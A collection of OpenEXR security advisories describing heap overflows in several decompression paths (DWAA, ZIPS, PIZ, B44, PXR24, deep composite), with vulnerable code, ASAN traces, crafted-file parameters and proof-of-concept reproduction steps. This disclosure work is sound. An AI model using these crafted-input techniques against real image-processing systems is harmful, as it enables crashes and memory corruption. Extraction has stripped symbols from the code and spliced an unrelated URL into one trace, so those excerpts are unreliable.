See how openexr compares to other vendors in security performance
Accessibility. This issue was addressed by restricting options offered on a locked device.
Summary The OpenEXRCore code is vulnerable to a heap-based buffer overflow during a read operation due to bad pointer math when decompressing DWAA-packed scan-line EXR files with a maliciously forged chunk.
Details
In the LossyDctDecoderexecute function (from src/lib/OpenEXRCore/internaldwadecoder.h, when SSE2 is enabled), the following code is used to copy data from the chunks:
cpp // no-op conversion to linear for (int y = 8 blocky; y < 8 blocky + maxY; ++y) { m128i restrict dst = (m128i ) chanData[comp]->rows[y]; m128i const restrict src = (m128i const )&rowBlock[comp][(y & 0x7) 8];
for (int blockx = 0; blockx < numFullBlocksX; ++blockx) { mmstoreusi128 (dst, mmloadusi128 (src)); //
src += 8 8; // <--- si128 pointer incremented as a uint16t dst += 8; } }
The issue arises because the src pointer, which is a si128 pointer, is incremented by 88, as if it were a uint16t pointer (64 uint16t == 128 bytes). In non-block aligned chunks (width/height not a multiple of 8), this can cause src to point past the boundaries of the chunk.
PoC
In order to reproduce the PoC with fidelity and avoid undefined behaviors, it is necessary to enable ASAN (and SSE2). Otherwise the out-of-bound read will not be detected until its side-effect causes a crash.
NOTE: please download the dwadecodercrash.exr file from the following link:
https://github.com/ShielderSec/poc/tree/main/CVE-2025-48072
1. Compile the exrcheck binary in a macOS or GNU/Linux machine with ASAN. 2. Open the dwadecodercrash.exr file with the following command:
exrcheck dwadecodercrash.exr
3. Notice that exrcheck crashes with ASAN stack-trace.
==2297956==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x52500000a110 at pc 0x55e590db7bf1 bp 0x7fff948bb110 sp 0x7fff948bb108 READ of size 16 at 0x52500000a110 thread T0 #0 0x55e590db7bf0 in LossyDctDecoderexecute /root/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:650:48 #1 0x55e590dae18d in DwaCompressoruncompress /root/openexr/src/lib/OpenEXRCore/internaldwacompressor.h:1132:30 #2 0x55e590da9960 in internalexrundodwaa /root/openexr/src/lib/OpenEXRCore/internaldwa.c:202:18 #3 0x55e590d42d03 in exruncompresschunk /root/openexr/src/lib/OpenEXRCore/compression.c:516:14 #4 0x55e590dc3132 in exrdecodingrun /root/openexr/src/lib/OpenEXRCore/decoding.c:580:14 #5 0x55e590c7d78f in Imf34::(anonymous namespace)::ScanLineProcess::rundecode(privexrcontextt const, int, Imf34::FrameBuffer const, int, int, std::vector<Imf34::Slice, std::allocator<Imf34::Slice>> const&) /root/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:585:23 #6 0x55e590c83ed7 in Imf34::ScanLineInputFile::Data::readPixels(Imf34::FrameBuffer const&, int, int) /root/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:499:21 #7 0x55e590c73c97 in Imf34::ScanLineInputFile::readPixels(int, int) /root/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:306:12 #8 0x55e590c73c97 in Imf34::InputFile::Data::readPixels(int, int) /root/openexr/src/lib/OpenEXR/ImfInputFile.cpp:446:20 #9 0x55e590c1f92f in Imf34::InputFile::readPixels(int) /root/openexr/src/lib/OpenEXR/ImfInputFile.cpp:228:12 #10 0x55e590c1f92f in Imf34::InputPart::readPixels(int) /root/openexr/src/lib/OpenEXR/ImfInputPart.cpp:70:11 #11 0x55e590c1f92f in bool Imf34::(anonymous namespace)::readScanline<Imf34::InputPart>(Imf34::InputPart&, bool, bool) /root/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239:20 #12 0x55e590c1f92f in Imf34::(anonymous namespace)::readMultiPart(Imf34::MultiPartInputFile&, bool, bool) /root/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:879:28 #13 0x55e590c155af in bool Imf34::(anonymous namespace)::runChecks<char const>(char const&, bool, bool) /root/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1132:21 #14 0x55e590c155af in Imf34::checkOpenEXRFile(char const, bool, bool, bool) /root/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1796:19 #15 0x55e590ba5abe in exrCheck(char const, bool, bool, bool, bool) /root/openexr/src/bin/exrcheck/main.cpp:96:16 #16 0x55e590ba6fbe in main /root/openexr/src/bin/exrcheck/main.cpp:164:29 #17 0x7f4259e2a1c9 in libcstartcallmain csu/../sysdeps/npthttps://gitlab.com/qemu-project/qemu/-/issuesl/libcstartcallmain.h:58:16 #18 0x7f4259e2a28a in libcstartmain csu/../csu/libc-start.c:360:3 #19 0x55e590ac67d4 in start (/root/openexr/buildaflasan/bin/exrcheck+0x1d87d4) (BuildId: 49c2658b2f9ddef9)
0x52500000a110 is located 752 bytes after 9504-byte region [0x525000007900,0x525000009e20) allocated by thread T0 here: #0 0x55e590b61623 in malloc (/root/openexr/buildaflasan/bin/exrcheck+0x273623) (BuildId: 49c2658b2f9ddef9) #1 0x55e590db11b1 in LossyDctDecoderexecute /root/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:324:22 #2 0x55e590dae18d in DwaCompressoruncompress /root/openexr/src/lib/OpenEXRCore/internaldwacompressor.h:1132:30 #3 0x55e590da9960 in internalexrundodwaa /root/openexr/src/lib/OpenEXRCore/internaldwa.c:202:18 #4 0x55e590d42d03 in exruncompresschunk /root/openexr/src/lib/OpenEXRCore/compression.c:516:14
Impact An attacker could crash the application and in some scenarios also leak data, such as sensitive information or memory addresses that might be used to bypass exploitation mitigations like ASLR.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From versions 3.0.0 to before 3.2.9, 3.3.0 to before 3.3.11, and 3.4.0 to before 3.4.11, there is an integer overflow in ImageChannel::resize that leads to heap OOB write via OpenEXRUtil public API. This issue has been patched in versions 3.2.9, 3.3.11, and 3.4.11.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From versions 3.0.0 to before 3.2.9, 3.3.0 to before 3.3.11, and 3.4.0 to before 3.4.11, IDManifest::init() reconstructs strings from a prefix-compressed representation. If the previous string is longer than 255 bytes, the next string is expected to begin with a 2-byte prefix length. The code reads stringList[i][0] and stringList[i][1] without checking that the current string has at least two bytes. This issue has been patched in versions 3.2.9, 3.3.11, and 3.4.11.
In OpenEXR 2.2.0, an invalid write of size 8 in the storeSSE function in ImfOptimizedPixelReading.h could cause the application to crash or execute arbitrary code.
In OpenEXR 2.2.0, an invalid write of size 1 in the bufferedReadPixels function in ImfInputFile.cpp could cause the application to crash or execute arbitrary code.
In OpenEXR 2.2.0, an invalid write of size 2 in the = operator function in half.h could cause the application to crash or execute arbitrary code.
A heap-buffer overflow was found in the copyIntoFrameBuffer function of OpenEXR in versions before 3.0.1. An attacker could use this flaw to execute arbitrary code with the permissions of the user running the application compiled against OpenEXR.
Summary The PXR24 decompression function undopxr24impl in OpenEXR (internalpxr24.c) ignores the actual decompressed size (outSize) returned by exruncompressbuffer() and instead reads from the scratch buffer based solely on the expected size (uncompressedsize) derived from the header metadata.
Additionally, exruncompressbuffer() (compression.c:202) treats LIBDEFLATESHORTOUTPUT (where the compressed stream decompresses to fewer bytes than expected) as a successful result rather than an error.
When these two issues are combined, an attacker can craft a PXR24 EXR file containing a valid but truncated zlib stream. As a result, the decoder reads uninitialized heap memory and incorporates it into the output pixel data.
Details This issue occurs due to the combination of two flaws.
1. compression.c:202–205 — LIBDEFLATESHORTOUTPUT treated as success else if (res == LIBDEFLATESHORTOUTPUT) { / TODO: is this an error? / return EXRERRSUCCESS; } libdeflatezlibdecompressex() returns LIBDEFLATESHORTOUTPUT when the compressed stream is successfully decompressed but the resulting output size is smaller than the provided output buffer size. In this case, the actual number of decompressed bytes is written to actualout. However, the function does not treat this condition as an error and instead returns success.
2. internalpxr24.c:279–287 — outSize return value ignored rstat = exruncompressbuffer( decode->context, compresseddata, compbufsize, scratchdata, scratchsize, &outSize); // outSize = actual bytes written
if (rstat != EXRERRSUCCESS) return rstat;
// outSize is never referenced afterwards. // The loop below reads the entire scratchdata buffer based on // uncompressedsize (the header-derived expected size). for (int y = 0; y < decode->chunk.height; ++y) { ... } After exruncompressbuffer() returns success, the code does not verify whether the actual decompressed size (outSize) matches the expected size (uncompressedsize). The subsequent byte-plane reconstruction loop reads from the scratch buffer up to uncompressedsize bytes. As a result, the region between outSize and uncompressedsize consists of uninitialized heap memory, which is then read by the decoder.
Affected component - src/lib/OpenEXRCore/internalpxr24.c — undopxr24impl() (line 261–399) - src/lib/OpenEXRCore/compression.c — exruncompressbuffer() (line 202–205)
PoC Please refer to the atta poc.zip ched archive file and proceed after extracting it.
1. git clone https://github.com/AcademySoftwareFoundation/openexr.git 2. mv poc openexr/ 3. cd openexr 4. docker build -f poc/Dockerfile -t pxr24-poc . 5. docker run --rm pxr24-poc
<img width="858" height="155" alt="스크린샷 2026-03-15 오후 4 38 18" src="https://github.com/user-attachments/assets/ded9eab6-9b92-40f7-9a0d-7b00db7e6088" />
Impact Sensitive information from heap memory may be leaked through the decoded pixel data (information disclosure). Trigger Condition: Occurs under default settings; simply reading a malicious EXR file is sufficient to trigger the issue, without any user interaction.
Summary
internalexrundopiz() advances the working wavelet pointer with signed 32-bit arithmetic:
c wavbuf += nx ny wcount;
Because nx, ny, and wcount are int, a crafted EXR file can make this product overflow and wrap. The next channel then decodes from an incorrect address. The wavelet decode path operates in place, so this yields both out-of-bounds reads and out-of-bounds writes.
Tested on commit 7820b7e1b93405ba1d551c43a945018226b75bc5
Technical Details
The vulnerable decode path is:
1. internalexrundopiz() sets wavbuf = decode->scratchbuffer1. 2. For each channel, it calls wav2Ddecode (wavbuf + j, ...). 3. It then advances wavbuf with wavbuf += nx ny wcount.
The overflow happens in step 3. Once wavbuf is wrapped, the next channel's wavelet decode runs on the wrong address.
In the 14-bit wavelet path, wdec144() first reads:
- px - p10 - p01 - p11
and then writes back to the same locations:
- px = ... - p01 = ... - p10 = ... - p11 = ...
As a result, the bug is not just a crash-only invalid read. It is an out-of-bounds read/write condition.
Reproduction
pizscanlineredzone.zip
Build exrcheck with ASAN and run:
❯ ./build-asan/bin/exrcheck /tmp/pizscanlineredzone.exr file /tmp/pizscanlineredzone.exr /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:373:19: runtime error: signed integer overflow: 134217724 32 cannot be represented in type 'int' ================================================================= ==1711239==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bedc3934700 at pc 0x7bf1f100f498 bp 0x7ffe032d8f00 sp 0x7ffe032d8ef0 READ of size 2 at 0x7bedc3934700 thread T0 #0 0x7bf1f100f497 in wdec144 /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:148 #1 0x7bf1f100f497 in wav2Ddecode /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:403 #2 0x7bf1f100f497 in internalexrundopiz /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:727 #3 0x7bf1f115b038 in exruncompresschunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:546 #4 0x7bf1f1161168 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580 #5 0x7bf1f2a71add in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586 #6 0x7bf1f2a83dc4 in Imf40::ScanLineInputFile::Data::readPixels(Imf40::FrameBuffer const&, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500 #7 0x7bf1f28c6a81 in Imf40::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458 #8 0x7bf1f3bfe2dc in readScanline<Imf40::InputPart> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239 #9 0x7bf1f3c05b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905 #10 0x7bf1f3c126fd in runChecks<char const> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171 #11 0x7bf1f3c146b9 in Imf40::checkOpenEXRFile(char const, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835 #12 0x5d9675fce8f8 in exrCheck(char const, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96 #13 0x5d9675fcb2b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164 #14 0x7bf1efe2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #15 0x7bf1efe2a28a in libcstartmainimpl ../csu/libc-start.c:360 #16 0x5d9675fcc844 in start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)
0x7bedc3934700 is located 256 bytes before 8590720784-byte region [0x7bedc3934800,0x7befc39f4710) allocated by thread T0 here: #0 0x7bf1f40fd9c7 in malloc ../../../../src/libsanitizer/asan/asanmalloclinux.cpp:69 #1 0x7bf1f115883e in internaldecodeallocbuffer /home/pop/sec/openexr/src/lib/OpenEXRCore/coding.c:256 #2 0x7bf1f100da97 in internalexrundopiz /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:643 #3 0x7bf1f115b038 in exruncompresschunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:546 #4 0x7bf1f1161168 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580 #5 0x7bf1f2a71add in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586 #6 0x7bf1f2a83dc4 in Imf40::ScanLineInputFile::Data::readPixels(Imf40::FrameBuffer const&, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500 #7 0x7bf1f28c6a81 in Imf40::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458 #8 0x7bf1f3bfe2dc in readScanline<Imf40::InputPart> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239 #9 0x7bf1f3c05b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905 #10 0x7bf1f3c126fd in runChecks<char const> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171 #11 0x7bf1f3c146b9 in Imf40::checkOpenEXRFile(char const, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835 #12 0x5d9675fce8f8 in exrCheck(char const, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96 #13 0x5d9675fcb2b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164 #14 0x7bf1efe2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #15 0x7bf1efe2a28a in libcstartmainimpl ../csu/libc-start.c:360 #16 0x5d9675fcc844 in start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:148 in wdec144 Shadow bytes around the buggy address: 0x7bedc3934480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x7bedc3934700:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bedc3934880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bedc3934900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bedc3934980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1711239==ABORTING
To prove this is both READ and WRITE, we can also memcheck against non-ASAN release build:
sh valgrind --tool=memcheck --leak-check=no --track-origins=no \ --error-limit=no --num-callers=20 \ ./build-relwithdebinfo/bin/exrcheck /tmp/pizscanlineredzone.exr
Observed result:
- Invalid read of size 2 at internalpiz.c:150 - Invalid write of size 2 at internalpiz.c:171
This confirms the bug is an OOB read/write, not only a read-first crash.
Redzone-Oriented File
- width: 67108862 - height: 32 - channel A: FLOAT, sampling 1 x 1 - channel B: HALF, sampling 33554431 x 16
This makes:
text width 32 2 = 4294967168
which wraps signed 32-bit arithmetic to -128.
That places the next wavbuf access just before the allocated buffer, producing a clean heap-overflow report.
Impact
A crafted EXR file can trigger out-of-bounds memory access during PIZ decompression. The primitive includes both invalid reads and invalid writes. Depending on allocator layout and surrounding memory, this could lead to process crash, memory corruption, or potentially stronger exploitation outcomes.
Recommended Fix
- compute channel span in 64-bit arithmetic - reject any overflow in nx ny wcount - validate cumulative per-channel decoded footprint against outsz before wavelet decode - fail decompression if channel-derived layout does not exactly fit the decompression buffer -------- Found by: Quang Luong of Calif.io
Summary
The OpenEXRCore code is vulnerable to a heap-based buffer overflow during a write operation when decompressing ZIPS-packed deep scan-line EXR files with a maliciously forged chunk header.
Details When parsing STORAGEDEEPSCANLINE chunks from an EXR file, the following code (from src/lib/OpenEXRCore/chunk.c) is used to extract the chunk information:
cpp
if (part->storagemode == EXRSTORAGEDEEPSCANLINE) // SNIP... cinfo->samplecountdataoffset = dataoff; cinfo->samplecounttablesize = (uint64t) ddata[0]; cinfo->dataoffset = dataoff + (uint64t) ddata[0]; cinfo->packedsize = (uint64t) ddata[1]; cinfo->unpackedsize = (uint64t) ddata[2]; // SNIP...
By storing this information, the code that will later decompress and reconstruct the chunk bytes, will know how much space the uncompressed data will occupy.
This size is carried along in the chain of decoding/decompression until the undozipimpl function in src/lib/OpenEXRCore/internalzip.c:
cpp static exrresultt undozipimpl ( exrdecodepipelinet decode, const void compresseddata, uint64t compbufsize, void uncompresseddata, uint64t uncompressedsize, void scratchdata, uint64t scratchsize) { sizet actualoutbytes; exrresultt res;
if (scratchsize < uncompressedsize) return EXRERRINVALIDARGUMENT;
res = exruncompressbuffer ( decode->context, compresseddata, compbufsize, scratchdata, scratchsize, &actualoutbytes);
if (res == EXRERRSUCCESS) { decode->bytesdecompressed = actualoutbytes; if (compbufsize > actualoutbytes) res = EXRERRCORRUPTCHUNK; else internalzipreconstructbytes ( uncompresseddata, scratchdata, actualoutbytes); }
return res; }
The uncompressedsize comes from the unpackedsize extracted earlier, and the uncompresseddata is a buffer allocated by making space for the size "advertised" in the chunk information.
However, scratchdata and actualoutbytes will contain, after decompression, the uncompressed data and its size, respectively.
The vulnerability lies in the fact that the undozipimpl function lacks code to check whether actualoutbytes is greater than uncompressedsize.
The effect is that, by setting the unpackedsize in the chunk header smaller than the actual chunk decompressed data, it is possible - in the internalzipreconstructbytes function - to overflow past the boundaries of a heap chunk.
PoC
NOTE: you can download the heapoverflow.exr file from this link:
https://github.com/ShielderSec/poc/tree/main/CVE-2025-48071
1. Compile the exrcheck binary in a macOS or GNU/Linux machine with ASAN. 2. Open the heapoverflow.exr file with the following command:
exrcheck heapoverflow.exr
3. Notice that exrcheck crashes with an ASAN stack-trace. !image
Impact
An attacker might exploit this vulnerability by feeding a maliciously crafted file to a program that uses the OpenEXR libraries, thus gaining the capability to write an arbitrary amount of bytes in the heap. This could potentially result in code execution in the process.
Summary
Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).
Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp): - totalsizes[ptr] += counts[j][ptr]; (line ~511) - overallsamplecount += totalsizes[ptr]; (line ~514) - samples[channel].resize (overallsamplecount); (line ~535)
Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in genericunpackdeeppointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).
Attack scenario: - Attacker provides multipart deep EXR with many parts and very large sample counts per pixel. - Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure. - The overflow happens in composite sample accounting (unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.
Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0
Steps to reproduce
compositedeepscanlinepocbundle.patch
PoC files used: - Writer/generator: poc/compositedeepscanlinee2ecompressedpoc.cpp - Minimal high-level reader harness: poc/simpleexrreader.cpp
The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.
Build with ASAN/UBSAN:
bash cmake -S . -B build-asan \ -DOPENEXRBUILDPOC=ON \ -DCMAKEBUILDTYPE=RelWithDebInfo \ -DCMAKECFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKECXXFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKEEXELINKERFLAGS='-fsanitize=address,undefined' \ -DCMAKESHAREDLINKERFLAGS='-fsanitize=address,undefined'
cmake --build build-asan --target compositewriter simpleexrreader -j
Generate malicious file (decode-path focused profile):
bash ASANOPTIONS=detectleaks=0 timeout 180s \ ./build-asan/poc/compositewriter \ --profile low-ram \ --file /tmp/compositedecodefocus.exr
Trigger:
bash ASANOPTIONS=detectleaks=0 timeout 30s \ ./build-asan/poc/simpleexrreader /tmp/compositedecodefocus.exr
ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.
Example runs
Writer (abbrev):
bash ❯ ./build-asan/poc/compositewriter exploit math: benign samples : 300 malicious parts : 86 malicious samples per part : 50000000 true total samples : 4300000300 uint32 overflow reached : yes wrapped uint32 total : 5033004 composite Z/A alloc from wrap : 40264032 bytes (38.40 MiB) per-part unpacked sample bytes : 300000000 bytes (286.10 MiB) min parts to overflow (current benign/samples): 86 writing compressed multipart deep EXR: /tmp/compositedeepscanlinee2ecompressed.exr writing donor malicious part (50000000 samples) copying malicious part 1/86 from donor chunk ... file size: 26112896 bytes (24.90 MiB)
Reader ASAN crash:
bash ❯ ./build-asan/poc/simpleexrreader reading /tmp/compositeoverflowoptimized.exr with 16 deepscanline parts ================================================================= ==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670 WRITE of size 4 at 0x7ed1a55d90b0 thread T0 #0 0x7ed1da7854f6 in genericunpackdeeppointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 #1 0x7ed1da7623e9 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664 #2 0x7ed1dbcb153b in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816 #3 0x7ed1dbcc597f in Imf40::DeepScanLineInputFile::Data::readData(Imf40::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568 #4 0x7ed1dbc01ca4 in Imf40::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576 #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simpleexrreader.cpp:88 #6 0x7ed1d942a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #7 0x7ed1d942a28a in libcstartmainimpl ../csu/libc-start.c:360 #8 0x6466900601e4 in start (/home/pop/sec/openexr/build-asan/poc/simpleexrreader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)
0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0) allocated by thread T0 here: #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asannewdelete.cpp:95 #1 0x7ed1dbc29600 in std::newallocator<float>::allocate(unsigned long, void const) /usr/include/c++/13/bits/newallocator.h:151 #2 0x7ed1dbc29600 in std::allocatortraits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloctraits.h:482 #3 0x7ed1dbc29600 in std::Vectorbase<float, std::allocator<float> >::Mallocate(unsigned long) /usr/include/c++/13/bits/stlvector.h:381 #4 0x7ed1dbc29600 in std::Vectorbase<float, std::allocator<float> >::Mallocate(unsigned long) /usr/include/c++/13/bits/stlvector.h:378 #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::Mdefaultappend(unsigned long) /usr/include/c++/13/bits/vector.tcc:663 #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stlvector.h:1016 #7 0x7ed1dbc00184 in Imf40::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535 #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simpleexrreader.cpp:88 #9 0x7ed1d942a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #10 0x7ed1d942a28a in libcstartmainimpl ../csu/libc-start.c:360 #11 0x6466900601e4 in start (/home/pop/sec/openexr/build-asan/poc/simpleexrreader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in genericunpackdeeppointers Shadow bytes around the buggy address: 0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa 0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==175024==ABORTING
Root cause analysis
In CompositeDeepScanLine::readPixels:
1. Per-pixel totals are accumulated in vector<unsigned int> totalsizes. 2. For attacker-controlled large counts across many parts, totalsizes[ptr] wraps modulo 2^32. 3. overallsamplecount is then derived from wrapped totals and used in samples[channel].resize(overallsamplecount). 4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (genericunpackdeeppointers) overrun the undersized composite sample buffer.
Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.
Impact
Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.
Summary The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.
Root cause Variable declarations (internalb44.c:535) c int nx, ny; nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32t.
Scratch buffer allocation (internalb44:543) c nBytes = (uint64t) (ny) (uint64t) (nx) (uint64t) (curc->bytesperelement); The allocation path correctly promotes to uint64t before multiplying. The scratch buffer is always large enough to hold the full channel.
Row pointer reconstruction (internalb44:560) c row0 = (uint16t) scratch; row0 += y nx; row1 = row0 + nx; row2 = row1 + nx; row3 = row2 + nx; y and nx are both int. The product y nx is computed in int. If this product exceeds INTMAX (2,147,483,647), the result is signed integer overflow
Out of Band write (internalb44:592) c memcpy (row0, &s[0], n); memcpy (row1, &s[4], n); memcpy (row2, &s[8], n); memcpy (row3, &s[12], n); These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (htapplyimpl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.
